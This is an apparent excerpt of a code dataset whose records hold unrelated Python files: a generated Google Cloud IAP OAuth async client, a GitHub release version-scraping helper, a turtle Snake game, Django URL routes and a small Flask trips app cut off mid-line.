gapic_v1.method_async.wrap_method(\n self._client._transport.create_brand,\n default_timeout=None,\n client_info=DEFAULT_CLIENT_INFO,\n )\n\n # Certain fields should be provided within the metadata header;\n # add these here.\n metadata = tuple(metadata) + (\n gapic_v1.routing_header.to_grpc_metadata(((\"parent\", request.parent),)),\n )\n\n # Send the request.\n response = await rpc(\n request,\n retry=retry,\n timeout=timeout,\n metadata=metadata,\n )\n\n # Done; return the response.\n return response\n\n async def get_brand(\n self,\n request: Optional[Union[service.GetBrandRequest, dict]] = None,\n *,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Union[float, object] = gapic_v1.method.DEFAULT,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> service.Brand:\n r\"\"\"Retrieves the OAuth brand of the project.\n\n .. code-block:: python\n\n # This snippet has been automatically generated and should be regarded as a\n # code template only.\n # It will require modifications to work:\n # - It may require correct/in-range values for request initialization.\n # - It may require specifying regional endpoints when creating the service\n # client as shown in:\n # https://googleapis.dev/python/google-api-core/latest/client_options.html\n from google.cloud import iap_v1\n\n async def sample_get_brand():\n # Create a client\n client = iap_v1.IdentityAwareProxyOAuthServiceAsyncClient()\n\n # Initialize request argument(s)\n request = iap_v1.GetBrandRequest(\n name=\"name_value\",\n )\n\n # Make the request\n response = await client.get_brand(request=request)\n\n # Handle the response\n print(response)\n\n Args:\n request (Optional[Union[google.cloud.iap_v1.types.GetBrandRequest, dict]]):\n The request object. The request sent to GetBrand.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n\n Returns:\n google.cloud.iap_v1.types.Brand:\n OAuth brand data.\n NOTE: Only contains a portion of the\n data that describes a brand.\n\n \"\"\"\n # Create or coerce a protobuf request object.\n request = service.GetBrandRequest(request)\n\n # Wrap the RPC method; this adds retry and timeout information,\n # and friendly error handling.\n rpc = gapic_v1.method_async.wrap_method(\n self._client._transport.get_brand,\n default_timeout=None,\n client_info=DEFAULT_CLIENT_INFO,\n )\n\n # Certain fields should be provided within the metadata header;\n # add these here.\n metadata = tuple(metadata) + (\n gapic_v1.routing_header.to_grpc_metadata(((\"name\", request.name),)),\n )\n\n # Send the request.\n response = await rpc(\n request,\n retry=retry,\n timeout=timeout,\n metadata=metadata,\n )\n\n # Done; return the response.\n return response\n\n async def create_identity_aware_proxy_client(\n self,\n request: Optional[\n Union[service.CreateIdentityAwareProxyClientRequest, dict]\n ] = None,\n *,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Union[float, object] = gapic_v1.method.DEFAULT,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> service.IdentityAwareProxyClient:\n r\"\"\"Creates an Identity Aware Proxy (IAP) OAuth client.\n The client is owned by IAP. Requires that the brand for\n the project exists and that it is set for internal-only\n use.\n\n .. code-block:: python\n\n # This snippet has been automatically generated and should be regarded as a\n # code template only.\n # It will require modifications to work:\n # - It may require correct/in-range values for request initialization.\n # - It may require specifying regional endpoints when creating the service\n # client as shown in:\n # https://googleapis.dev/python/google-api-core/latest/client_options.html\n from google.cloud import iap_v1\n\n async def sample_create_identity_aware_proxy_client():\n # Create a client\n client = iap_v1.IdentityAwareProxyOAuthServiceAsyncClient()\n\n # Initialize request argument(s)\n request = iap_v1.CreateIdentityAwareProxyClientRequest(\n parent=\"parent_value\",\n )\n\n # Make the request\n response = await client.create_identity_aware_proxy_client(request=request)\n\n # Handle the response\n print(response)\n\n Args:\n request (Optional[Union[google.cloud.iap_v1.types.CreateIdentityAwareProxyClientRequest, dict]]):\n The request object. The request sent to\n CreateIdentityAwareProxyClient.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n\n Returns:\n google.cloud.iap_v1.types.IdentityAwareProxyClient:\n Contains the data that describes an\n Identity Aware Proxy owned client.\n\n \"\"\"\n # Create or coerce a protobuf request object.\n request = service.CreateIdentityAwareProxyClientRequest(request)\n\n # Wrap the RPC method; this adds retry and timeout information,\n # and friendly error handling.\n rpc = gapic_v1.method_async.wrap_method(\n self._client._transport.create_identity_aware_proxy_client,\n default_timeout=None,\n client_info=DEFAULT_CLIENT_INFO,\n )\n\n # Certain fields should be provided within the metadata header;\n # add these here.\n metadata = tuple(metadata) + (\n gapic_v1.routing_header.to_grpc_metadata(((\"parent\", request.parent),)),\n )\n\n # Send the request.\n response = await rpc(\n request,\n retry=retry,\n timeout=timeout,\n metadata=metadata,\n )\n\n # Done; return the response.\n return response\n\n async def list_identity_aware_proxy_clients(\n self,\n request: Optional[\n Union[service.ListIdentityAwareProxyClientsRequest, dict]\n ] = None,\n *,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Union[float, object] = gapic_v1.method.DEFAULT,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> pagers.ListIdentityAwareProxyClientsAsyncPager:\n r\"\"\"Lists the existing clients for the brand.\n\n .. code-block:: python\n\n # This snippet has been automatically generated and should be regarded as a\n # code template only.\n # It will require modifications to work:\n # - It may require correct/in-range values for request initialization.\n # - It may require specifying regional endpoints when creating the service\n # client as shown in:\n # https://googleapis.dev/python/google-api-core/latest/client_options.html\n from google.cloud import iap_v1\n\n async def sample_list_identity_aware_proxy_clients():\n # Create a client\n client = iap_v1.IdentityAwareProxyOAuthServiceAsyncClient()\n\n # Initialize request argument(s)\n request = iap_v1.ListIdentityAwareProxyClientsRequest(\n parent=\"parent_value\",\n )\n\n # Make the request\n page_result = client.list_identity_aware_proxy_clients(request=request)\n\n # Handle the response\n async for response in page_result:\n print(response)\n\n Args:\n request (Optional[Union[google.cloud.iap_v1.types.ListIdentityAwareProxyClientsRequest, dict]]):\n The request object. The request sent to\n ListIdentityAwareProxyClients.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n\n Returns:\n google.cloud.iap_v1.services.identity_aware_proxy_o_auth_service.pagers.ListIdentityAwareProxyClientsAsyncPager:\n Response message for\n ListIdentityAwareProxyClients.\n Iterating over this object will yield\n results and resolve additional pages\n automatically.\n\n \"\"\"\n # Create or coerce a protobuf request object.\n request = service.ListIdentityAwareProxyClientsRequest(request)\n\n # Wrap the RPC method; this adds retry and timeout information,\n # and friendly error handling.\n rpc = gapic_v1.method_async.wrap_method(\n self._client._transport.list_identity_aware_proxy_clients,\n default_timeout=None,\n client_info=DEFAULT_CLIENT_INFO,\n )\n\n # Certain fields should be provided within the metadata header;\n # add these here.\n metadata = tuple(metadata) + (\n gapic_v1.routing_header.to_grpc_metadata(((\"parent\", request.parent),)),\n )\n\n # Send the request.\n response = await rpc(\n request,\n retry=retry,\n timeout=timeout,\n metadata=metadata,\n )\n\n # This method is paged; wrap the response in a pager, which provides\n # an `__aiter__` convenience method.\n response = pagers.ListIdentityAwareProxyClientsAsyncPager(\n method=rpc,\n request=request,\n response=response,\n metadata=metadata,\n )\n\n # Done; return the response.\n return response\n\n async def get_identity_aware_proxy_client(\n self,\n request: Optional[\n Union[service.GetIdentityAwareProxyClientRequest, dict]\n ] = None,\n *,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Union[float, object] = gapic_v1.method.DEFAULT,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> service.IdentityAwareProxyClient:\n r\"\"\"Retrieves an Identity Aware Proxy (IAP) OAuth client.\n Requires that the client is owned by IAP.\n\n .. code-block:: python\n\n # This snippet has been automatically generated and should be regarded as a\n # code template only.\n # It will require modifications to work:\n # - It may require correct/in-range values for request initialization.\n # - It may require specifying regional endpoints when creating the service\n # client as shown in:\n # https://googleapis.dev/python/google-api-core/latest/client_options.html\n from google.cloud import iap_v1\n\n async def sample_get_identity_aware_proxy_client():\n # Create a client\n client = iap_v1.IdentityAwareProxyOAuthServiceAsyncClient()\n\n # Initialize request argument(s)\n request = iap_v1.GetIdentityAwareProxyClientRequest(\n name=\"name_value\",\n )\n\n # Make the request\n response = await client.get_identity_aware_proxy_client(request=request)\n\n # Handle the response\n print(response)\n\n Args:\n request (Optional[Union[google.cloud.iap_v1.types.GetIdentityAwareProxyClientRequest, dict]]):\n The request object. The request sent to\n GetIdentityAwareProxyClient.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n\n Returns:\n google.cloud.iap_v1.types.IdentityAwareProxyClient:\n Contains the data that describes an\n Identity Aware Proxy owned client.\n\n \"\"\"\n # Create or coerce a protobuf request object.\n request = service.GetIdentityAwareProxyClientRequest(request)\n\n # Wrap the RPC method; this adds retry and timeout information,\n # and friendly error handling.\n rpc = gapic_v1.method_async.wrap_method(\n self._client._transport.get_identity_aware_proxy_client,\n default_timeout=None,\n client_info=DEFAULT_CLIENT_INFO,\n )\n\n # Certain fields should be provided within the metadata header;\n # add these here.\n metadata = tuple(metadata) + (\n gapic_v1.routing_header.to_grpc_metadata(((\"name\", request.name),)),\n )\n\n # Send the request.\n response = await rpc(\n request,\n retry=retry,\n timeout=timeout,\n metadata=metadata,\n )\n\n # Done; return the response.\n return response\n\n async def reset_identity_aware_proxy_client_secret(\n self,\n request: Optional[\n Union[service.ResetIdentityAwareProxyClientSecretRequest, dict]\n ] = None,\n *,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Union[float, object] = gapic_v1.method.DEFAULT,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> service.IdentityAwareProxyClient:\n r\"\"\"Resets an Identity Aware Proxy (IAP) OAuth client\n secret. Useful if the secret was compromised. Requires\n that the client is owned by IAP.\n\n .. code-block:: python\n\n # This snippet has been automatically generated and should be regarded as a\n # code template only.\n # It will require modifications to work:\n # - It may require correct/in-range values for request initialization.\n # - It may require specifying regional endpoints when creating the service\n # client as shown in:\n # https://googleapis.dev/python/google-api-core/latest/client_options.html\n from google.cloud import iap_v1\n\n async def sample_reset_identity_aware_proxy_client_secret():\n # Create a client\n client = iap_v1.IdentityAwareProxyOAuthServiceAsyncClient()\n\n # Initialize request argument(s)\n request = iap_v1.ResetIdentityAwareProxyClientSecretRequest(\n name=\"name_value\",\n )\n\n # Make the request\n response = await client.reset_identity_aware_proxy_client_secret(request=request)\n\n # Handle the response\n print(response)\n\n Args:\n request (Optional[Union[google.cloud.iap_v1.types.ResetIdentityAwareProxyClientSecretRequest, dict]]):\n The request object. The request sent to\n ResetIdentityAwareProxyClientSecret.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n\n Returns:\n google.cloud.iap_v1.types.IdentityAwareProxyClient:\n Contains the data that describes an\n Identity Aware Proxy owned client.\n\n \"\"\"\n # Create or coerce a protobuf request object.\n request = service.ResetIdentityAwareProxyClientSecretRequest(request)\n\n # Wrap the RPC method; this adds retry and timeout information,\n # and friendly error handling.\n rpc = gapic_v1.method_async.wrap_method(\n self._client._transport.reset_identity_aware_proxy_client_secret,\n default_timeout=None,\n client_info=DEFAULT_CLIENT_INFO,\n )\n\n # Certain fields should be provided within the metadata header;\n # add these here.\n metadata = tuple(metadata) + (\n gapic_v1.routing_header.to_grpc_metadata(((\"name\", request.name),)),\n )\n\n # Send the request.\n response = await rpc(\n request,\n retry=retry,\n timeout=timeout,\n metadata=metadata,\n )\n\n # Done; return the response.\n return response\n\n async def delete_identity_aware_proxy_client(\n self,\n request: Optional[\n Union[service.DeleteIdentityAwareProxyClientRequest, dict]\n ] = None,\n *,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Union[float, object] = gapic_v1.method.DEFAULT,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> None:\n r\"\"\"Deletes an Identity Aware Proxy (IAP) OAuth client.\n Useful for removing obsolete clients, managing the\n number of clients in a given project, and cleaning up\n after tests. Requires that the client is owned by IAP.\n\n .. code-block:: python\n\n # This snippet has been automatically generated and should be regarded as a\n # code template only.\n # It will require modifications to work:\n # - It may require correct/in-range values for request initialization.\n # - It may require specifying regional endpoints when creating the service\n # client as shown in:\n # https://googleapis.dev/python/google-api-core/latest/client_options.html\n from google.cloud import iap_v1\n\n async def sample_delete_identity_aware_proxy_client():\n # Create a client\n client = iap_v1.IdentityAwareProxyOAuthServiceAsyncClient()\n\n # Initialize request argument(s)\n request = iap_v1.DeleteIdentityAwareProxyClientRequest(\n name=\"name_value\",\n )\n\n # Make the request\n await client.delete_identity_aware_proxy_client(request=request)\n\n Args:\n request (Optional[Union[google.cloud.iap_v1.types.DeleteIdentityAwareProxyClientRequest, dict]]):\n The request object. The request sent to\n DeleteIdentityAwareProxyClient.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n \"\"\"\n # Create or coerce a protobuf request object.\n request = service.DeleteIdentityAwareProxyClientRequest(request)\n\n # Wrap the RPC method; this adds retry and timeout information,\n # and friendly error handling.\n rpc = gapic_v1.method_async.wrap_method(\n self._client._transport.delete_identity_aware_proxy_client,\n default_timeout=None,\n client_info=DEFAULT_CLIENT_INFO,\n )\n\n # Certain fields should be provided within the metadata header;\n # add these here.\n metadata = tuple(metadata) + (\n gapic_v1.routing_header.to_grpc_metadata(((\"name\", request.name),)),\n )\n\n # Send the request.\n await rpc(\n request,\n retry=retry,\n timeout=timeout,\n metadata=metadata,\n )\n\n async def __aenter__(self) -> \"IdentityAwareProxyOAuthServiceAsyncClient\":\n return self\n\n async def __aexit__(self, exc_type, exc, tb):\n await self.transport.close()\n\n\nDEFAULT_CLIENT_INFO = gapic_v1.client_info.ClientInfo(\n gapic_version=package_version.__version__\n)\n\n\n__all__ = (\"IdentityAwareProxyOAuthServiceAsyncClient\",)\n","repo_name":"googleapis/google-cloud-python","sub_path":"packages/google-cloud-iap/google/cloud/iap_v1/services/identity_aware_proxy_o_auth_service/async_client.py","file_name":"async_client.py","file_ext":"py","file_size_in_byte":35679,"program_lang":"python","lang":"en","doc_type":"code","stars":4415,"dataset":"github-code","pt":"78"}
+{"seq_id":"30029203657","text":"import os.path\nfrom nnet import nnet\nimport random\n\ndef getFile(prompt):\n fileName = raw_input(prompt)\n while not os.path.isfile(fileName):\n print(\"\\tPlease input a valid file\")\n fileName = raw_input(prompt)\n return fileName\n\n\n\n\ndef genInit():\n inNodes = raw_input(\"Num input: \")\n hNodes = raw_input(\"Num Hidden: \")\n oNodes = raw_input(\"Num Out: \")\n\n with open(\"data/nn.init\",\"w\") as w:\n w.write(\"{0} {1} {2}\\n\".format(inNodes,hNodes,oNodes))\n\n for hNodeNum in range(int(hNodes)):\n line = [random.random() for i in range(int(inNodes)+1)]\n w.write(\" \".join([format(val,'.3f') for val in line])+ '\\n')\n\n for oNodeNum in range(int(oNodes)):\n line = [random.random() for j in range(int(hNodes)+1)]\n w.write(\" \".join([format(val,'.3f') for val in line])+'\\n')\n\n\nif __name__ == \"__main__\":\n\n print(\"Sameer Chauhan's Basic Neural Network\\n=====================\")\n print(\"This Neural Network can work with one hidden layer\")\n print(\"What would you like to do?\")\n\n inPutz = raw_input(\"Train or Test or Gen (network) ? \").lower()\n if inPutz == \"train\":\n # netLoc = getFile(\"Initial net location: \")\n # trainLoc = getFile(\"Training Set: \")\n # outName = raw_input(\"Output Name: \")\n\n # epoch = raw_input(\"Epoch: \")\n # while not epoch.isdigit():\n # epoch = raw_input(\"\\tEnter Integer value for Epoch: \")\n # epoch = int(epoch)\n\n # rate = float(raw_input(\"Rate: \"))\n\n netLoc = \"data/nn.init\"\n trainLoc = \"data/training.csv\"\n outName = \"data/sahearts.trained\"\n epoch = 500\n rate = 0.1\n\n net = nnet(netLoc)\n net.train(trainLoc, epoch, rate)\n net.writeFile(outName)\n elif inPutz == \"gen\":\n genInit()\n exit()\n elif inPutz == \"test\":\n # netLoc = getFile(\"Trained net location: \")\n # testLoc = getFile(\"Testing Set: \")\n # outName = raw_input(\"Output Filename: \")\n\n netLoc = \"data/sahearts.trained\"\n testLoc = \"data/test.csv\"\n outName = \"data/sahearts.res\"\n\n net = nnet(netLoc)\n net.test(testLoc,outName)\n else:\n print(\"I don't know what you want from me\")\n\n\n","repo_name":"lolchocotaco/NeuralNetwork","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2249,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"29964866928","text":"# -*- coding: utf-8 -*-\n\"\"\"Download helper object implementations.\"\"\"\n\nfrom __future__ import unicode_literals\n\nimport re\n\nfrom l2tdevtools.download_helpers import project\n\n\nclass GitHubReleasesDownloadHelper(project.ProjectDownloadHelper):\n \"\"\"Helps in downloading a project with GitHub releases.\"\"\"\n\n _VERSION_EXPRESSIONS = [\n '[0-9]+',\n '[0-9]+[.][0-9]+',\n '[0-9]+[.][0-9]+[.][0-9]+',\n 'release-[0-9]+[.][0-9]+[.][0-9]+',\n 'v[0-9]+[.][0-9]',\n 'v[0-9]+[.][0-9]+[.][0-9]+',\n '[0-9]+[.][0-9]+[.][0-9]+[-][0-9]+']\n\n def __init__(self, download_url):\n \"\"\"Initializes the download helper.\n\n Args:\n download_url (str): download URL.\n\n Raises:\n ValueError: if download URL is not supported.\n \"\"\"\n url_segments = download_url.split('/')\n if len(url_segments) < 5 or url_segments[2] != 'github.com':\n raise ValueError('Unsupported download URL.')\n\n super(GitHubReleasesDownloadHelper, self).__init__(download_url)\n self._organization = url_segments[3]\n self._repository = url_segments[4]\n\n def _GetAvailableVersions(self, version_strings):\n \"\"\"Determines the available versions from version string matched.\n\n This function will split the version string and convert every digit into\n an integer. These lists of integers allow us to reliably compare versions.\n A string compare of version strings will yield an incorrect result.\n\n Args:\n version_strings (list[str]): version strings.\n\n Returns:\n dict[str, [int]]: available versions where the key is the original\n version string and the value the individual integers of\n the digits in the version string.\n \"\"\"\n available_versions = {}\n\n for version_string in version_strings:\n if not version_string:\n continue\n\n # Remove a leading 'release-'.\n if version_string.startswith('release-'):\n version_string = version_string[8:]\n\n # Remove a leading 'v'.\n elif version_string.startswith('v'):\n version_string = version_string[1:]\n\n # Some versions contain '-' as the release number separator for the split\n # we want this to be '.'.\n comparable_version = version_string.replace('-', '.')\n\n # Convert the result of map() into a list for Python 3.\n comparable_version = list(map(int, comparable_version.split('.')))\n available_versions[version_string] = comparable_version\n\n return available_versions\n\n def GetLatestVersion(self, project_name, version_definition):\n \"\"\"Retrieves the latest version number for a given project name.\n\n Args:\n project_name (str): name of the project.\n version_definition (ProjectVersionDefinition): project version definition\n or None if not set.\n\n Returns:\n str: latest version number or None if not available.\n \"\"\"\n earliest_version = None\n latest_version = None\n\n if version_definition:\n earliest_version = version_definition.GetEarliestVersion()\n if earliest_version and earliest_version[0] == '==':\n return '.'.join(earliest_version[1:])\n\n latest_version = version_definition.GetLatestVersion()\n\n download_url = 'https://github.com/{0:s}/{1:s}/releases'.format(\n self._organization, self._repository)\n\n page_content = self.DownloadPageContent(download_url)\n if not page_content:\n return None\n\n # The format of the project download URL is:\n # /{organization}/{repository}/releases/download/{git tag}/\n # {project name}{status-}{version}.tar.gz\n # Note that the status is optional and will be: beta, alpha or experimental.\n # E.g. used by libyal.\n expression_string = (\n '/{0:s}/{1:s}/releases/download/[^/]*/{2:s}-[a-z-]*({3:s})'\n '[.]tar[.]gz[^.]').format(\n self._organization, self._repository, project_name,\n '|'.join(self._VERSION_EXPRESSIONS))\n matches = re.findall(expression_string, page_content, flags=re.IGNORECASE)\n\n if not matches:\n # The format of the project archive download URL is:\n # /{organization}/{repository}/archive/{version}.tar.gz\n expression_string = (\n '/{0:s}/{1:s}/archive/({2:s})[.]tar[.]gz[^.]').format(\n self._organization, self._repository,\n '|'.join(self._VERSION_EXPRESSIONS))\n matches = re.findall(expression_string, page_content, flags=re.IGNORECASE)\n\n if not matches:\n # The format of the project archive download URL is:\n # /{organization}/{repository}/archive/{project name}-{version}.tar.gz\n expression_string = (\n '/{0:s}/{1:s}/archive/{2:s}[-]({3:s})[.]tar[.]gz[^.]').format(\n self._organization, self._repository, project_name,\n '|'.join(self._VERSION_EXPRESSIONS))\n matches = re.findall(expression_string, page_content, flags=re.IGNORECASE)\n\n # TODO: this check will fail if the case in the URL is different.\n # Make checks case insensitive.\n\n if not matches:\n return None\n\n available_versions = self._GetAvailableVersions(matches)\n return self._GetLatestVersion(\n earliest_version, latest_version, available_versions)\n\n def GetDownloadURL(self, project_name, project_version):\n \"\"\"Retrieves the download URL for a given project name and version.\n\n Args:\n project_name (str): name of the project.\n project_version (str): version of the project.\n\n Returns:\n str: download URL of the project or None if not available.\n \"\"\"\n # TODO: add support for URL arguments '?after=release-2.2.0'\n download_url = 'https://github.com/{0:s}/{1:s}/releases'.format(\n self._organization, self._repository)\n\n page_content = self.DownloadPageContent(download_url)\n if not page_content:\n return None\n\n # The format of the project download URL is:\n # /{organization}/{repository}/releases/download/{git tag}/\n # {project name}{status-}{version}.tar.gz\n # Note that the status is optional and will be: beta, alpha or experimental.\n expression_string = (\n '/{0:s}/{1:s}/releases/download/[^/]*/{2:s}-[a-z-]*{3!s}'\n '[.]tar[.]gz[^.]').format(\n self._organization, self._repository, project_name, project_version)\n matches = re.findall(expression_string, page_content, flags=re.IGNORECASE)\n\n if len(matches) != 1:\n # Try finding a match without the status in case the project provides\n # multiple versions with a different status.\n expression_string = (\n '/{0:s}/{1:s}/releases/download/[^/]*/{2:s}-*{3!s}'\n '[.]tar[.]gz[^.]').format(\n self._organization, self._repository, project_name,\n project_version)\n matches = re.findall(expression_string, page_content, flags=re.IGNORECASE)\n\n if matches and len(matches) == 1:\n return 'https://github.com{0:s}'.format(matches[0][:-1])\n\n if matches and len(matches) != 1:\n return None\n\n # The format of the project archive download URL is:\n # /{organization}/{repository}/archive/{version}.tar.gz\n expression_string = (\n '/{0:s}/{1:s}/archive/{2!s}[.]tar[.]gz[^.]').format(\n self._organization, self._repository, project_version)\n matches = re.findall(expression_string, page_content, flags=re.IGNORECASE)\n\n if matches and len(matches) == 1:\n return 'https://github.com{0:s}'.format(matches[0][:-1])\n\n if len(matches) != 1:\n # The format of the project archive download URL is:\n # /{organization}/{repository}/archive/release-{version}.tar.gz\n expression_string = (\n '/{0:s}/{1:s}/archive/release-{2!s}[.]tar[.]gz[^.]').format(\n self._organization, self._repository, project_version)\n matches = re.findall(expression_string, page_content, flags=re.IGNORECASE)\n\n if matches and len(matches) == 1:\n return 'https://github.com{0:s}'.format(matches[0][:-1])\n\n if len(matches) != 1:\n # The format of the project archive download URL is:\n # /{organization}/{repository}/archive/v{version}.tar.gz\n expression_string = (\n '/{0:s}/{1:s}/archive/v{2!s}[.]tar[.]gz[^.]').format(\n self._organization, self._repository, project_version)\n matches = re.findall(expression_string, page_content, flags=re.IGNORECASE)\n\n if matches and len(matches) == 1:\n return 'https://github.com{0:s}'.format(matches[0][:-1])\n\n if len(matches) != 1:\n # The format of the project archive download URL is:\n # /{organization}/{repository}/archive/{project name}-{version}.tar.gz\n expression_string = (\n '/{0:s}/{1:s}/archive/{2:s}[-]{3!s}[.]tar[.]gz[^.]').format(\n self._organization, self._repository, project_name,\n project_version)\n matches = re.findall(expression_string, page_content, flags=re.IGNORECASE)\n\n if matches and len(matches) == 1:\n return 'https://github.com{0:s}'.format(matches[0][:-1])\n\n return None\n\n def GetProjectIdentifier(self):\n \"\"\"Retrieves the project identifier for a given project name.\n\n Returns:\n str: project identifier.\n \"\"\"\n return 'com.github.{0:s}.{1:s}'.format(\n self._organization, self._repository)\n","repo_name":"Onager/l2tdevtools","sub_path":"l2tdevtools/download_helpers/github.py","file_name":"github.py","file_ext":"py","file_size_in_byte":9151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"}
+{"seq_id":"6587965442","text":"import turtle\r\nimport time\r\nimport random\r\n\r\nposponer = 0.1\r\n\r\n#config de la ventana(wn)\r\nwn = turtle.Screen()\r\nwn.title(\"Snake\")\r\nwn.bgcolor(\"black\")\r\nwn.setup(width = 600, height= 600)\r\nwn.tracer(0)\r\n\r\n#Cabeza serpiente\r\ncabeza = turtle.Turtle()\r\ncabeza.speed(0)\r\ncabeza.shape(\"square\")\r\ncabeza.color(\"white\")\r\ncabeza.penup()\r\ncabeza.goto(0,0)\r\ncabeza.direction = \"stop\"\r\n\r\n#comida\r\ncomida = turtle.Turtle()\r\ncomida.speed(0)\r\ncomida.shape(\"circle\")\r\ncomida.color(\"red\")\r\ncomida.penup()\r\ncomida.goto(0,100)\r\n\r\n#segmentos\r\nsegmentos = []\r\n\r\n#funciones\r\ndef arriba():\r\n\tcabeza.direction = \"up\"\r\ndef abajo():\r\n\tcabeza.direction = \"down\"\r\ndef der():\r\n\tcabeza.direction = \"right\"\r\ndef izq():\r\n\tcabeza.direction = \"left\"\r\ndef mov():\r\n\tif cabeza.direction == \"up\":\r\n\t\ty = cabeza.ycor()\r\n\t\tcabeza.sety(y+20)\r\n\tif cabeza.direction == \"down\":\r\n\t\ty = cabeza.ycor()\r\n\t\tcabeza.sety(y-20)\r\n\tif cabeza.direction == \"right\":\r\n\t\tx = cabeza.xcor()\r\n\t\tcabeza.setx(x+20)\r\n\tif cabeza.direction == \"left\":\r\n\t\tx = cabeza.xcor()\r\n\t\tcabeza.setx(x-20)\r\n\r\n#teclado\r\nwn.listen()\r\nwn.onkeypress(arriba, \"Up\")\r\nwn.onkeypress(abajo, \"Down\")\r\nwn.onkeypress(der, \"Right\")\r\nwn.onkeypress(izq, \"Left\")\r\n\r\nwhile True:\r\n\twn.update()\r\n\t#colisiones con la comida\r\n\tif cabeza.distance(comida) < 20:\r\n\t\tx = random.randint(-280, 280)\r\n\t\ty = random.randint(-280, 280)\r\n\t\tcomida.goto(x,y)\r\n\t\tnuevo_segmento = turtle.Turtle()\r\n\t\tnuevo_segmento.speed(0)\r\n\t\tnuevo_segmento.shape(\"square\")\r\n\t\tnuevo_segmento.color(\"grey\")\r\n\t\tnuevo_segmento.penup()\r\n\t\tsegmentos.append(nuevo_segmento)\r\n\t#movimiento de la serpiente\r\n\ttotalseg = len(segmentos)\r\n\tfor i in range(totalseg -1, 0, -1):\r\n\t\tx = segmentos[i -1].xcor()\r\n\t\ty = segmentos[i -1].ycor()\r\n\t\tsegmentos[i].goto(x,y)\r\n\tif totalseg > 0:\r\n\t\tx = cabeza.xcor()\r\n\t\ty = cabeza.ycor()\r\n\t\tsegmentos[0].goto(x,y)\r\n\r\n\r\n\r\n\tmov()\r\n\ttime.sleep(posponer)","repo_name":"elblopa/repo1","sub_path":"Snake.py","file_name":"Snake.py","file_ext":"py","file_size_in_byte":1842,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"2510805074","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n\n path('', views.home, name='accueil'), # la vue qui sera activée lorsque je suis dans l'accueil\n path('liste_produit', views.liste_produit, name='liste_produit'),\n path('', views.list_produit, name='produit', ),\n path('ajout_produit/', views.ajouter_produit, name='ajout_produit'),\n path('modifier_produit/', views.modifier_produit, name='modifier_produit'),\n path('supprimer_produit/', views.supprimer_produit, name='supprimer_produit'),\n]\n","repo_name":"KOUASSI-Romaric/CRM-DJANGO","sub_path":"produit/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"17021482697","text":"from flask import Flask, render_template, url_for, request, redirect\nfrom flask_sqlalchemy import SQLAlchemy\nfrom datetime import datetime\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://Test:1234@localhost:5432/test_task'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\n\n\nclass Trips(db.Model):\n __tablename__ = 'Trips'\n\n id = db.Column(db.Integer, primary_key=True)\n date = db.Column(db.DateTime, default=datetime.utcnow)\n title = db.Column(db.String(100), nullable=False)\n quantity = db.Column(db.Integer, nullable=False)\n distance = db.Column(db.Integer, nullable=False)\n\n def __repr__(self):\n return '' % self.id # будет выдаваться объект и его id\n\n\n@app.route('/')\ndef main_page():\n return render_template(\"main_page.html\")\n\n\n@app.route('/trips', methods=['GET', 'POST'], defaults={\"page\": 1})\n@app.route('/trips/', methods=['GET', 'POST'])\ndef all_trips(page):\n # page = request.args.get('page')\n page = page\n pages = 5\n # pages = trips.paginate(page=page, per_page=5)\n # trips = Trips.query.paginate(page, pages, error_out=False)\n trips = Trips.query.order_by(Trips.id.asc()).paginate(page, pages, error_out=False)\n if request.method == 'POST' and 'tag' in request.form:\n tag = request.form['tag']\n search = \"% {} %\".format(tag)\n trips = Trips.query.filter(Trips.title.like(search) | Trips.quantity.like(search) | Trips.quantity.like(distance)).paginate(per_page=pages, error_out=False)\n return render_template('trips.html', trips=trips, tag=tag)\n return render_template(\"trips.html\", trips=trips)\n\n\n@app.route('/create_trip', methods=['POST', 'GET'])\ndef create_trip():\n if request.method == \"POST\":\n title = request.form['title'] # название идет из name на стр create_article\n quantity = request.form['quantity']\n distance = request.form['distance']\n\n trip = Trips(title=title, quantity=quantity, distance=distance)\n try:\n db.session.add(trip)\n db.session.commit()\n return redirect('/trips')\n except:\n return \"При добавлении статьи произошла ошибка\"\n else:\n return 